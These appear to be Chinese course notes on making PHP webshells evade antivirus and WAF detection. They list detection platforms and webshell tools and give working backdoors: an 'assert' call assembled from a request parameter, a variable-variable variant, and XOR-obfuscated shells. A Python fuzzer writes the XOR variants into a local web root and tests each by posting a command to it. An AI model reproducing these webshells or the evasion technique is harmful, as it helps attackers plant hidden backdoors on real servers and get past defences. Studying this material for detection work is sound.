webshell检测平台
https://scanner.baidu.com/#/pages/intro
https://ti.aliyun.com/#/webshell

基础-脚本后门控制原理-代码解释

对比工具代码-菜刀&蚁剑&冰蝎&哥斯拉等

原理-脚本后门查杀机制-函数&行为

对比WAF规则-函数匹配&工具指纹等

代码-脚本后门免杀变异-覆盖&传参

1.php 传参带入

<?php 
$a=$_GET['a'];
$aa=$a.'ert';
$aa(base64_decode($_POST['x']));
?>

?a=ass
x=cGhwaW5mbygpOw==

2.php 变量覆盖

<?php 
$a='b';
$b='assert';
$$a(base64_decode($_POST['x']));
?>

x=cGhwaW5mbygpOw==

代码-脚本后门免杀变异-异或&加密

3.php 加密变异
http://www.phpjm.net/

4.php 异或运算

import requests
import time
import threading,queuedef string():while not q.empty():filename=q.get()url = 'http://127.0.0.1:8081/x/' + filenamedatas = {'x': 'phpinfo();'}result = requests.post(url, data=datas).content.decode('utf-8')if 'XIAODI-PC' in result:print('check->'+filename+'->ok')else:print('check->'+filename+'->no')time.sleep(1)def shell_test_check():url='http://127.0.0.1:8081/x/33xd64.php'datas={'x':'phpinfo();'}result=requests.post(url,data=datas).content.decode('utf-8')print(result)if 'XIAODI-PC' in result:print('ok')if __name__ == '__main__':q=queue.Queue()for i in range(1, 127):for ii in range(1, 127):payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"filename = str(i) + 'xd' + str(ii) + '.php'q.put(filename)with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:f.write(code)f.close()print('Fuzz文件生成成功')for x in range(20):t=threading.Thread(target=string)t.start()

拓展-脚本后门脚本类型-JSP&ASPX

5.php 脚本生成器
Webshell-venom
ASP PHP JSP ASPX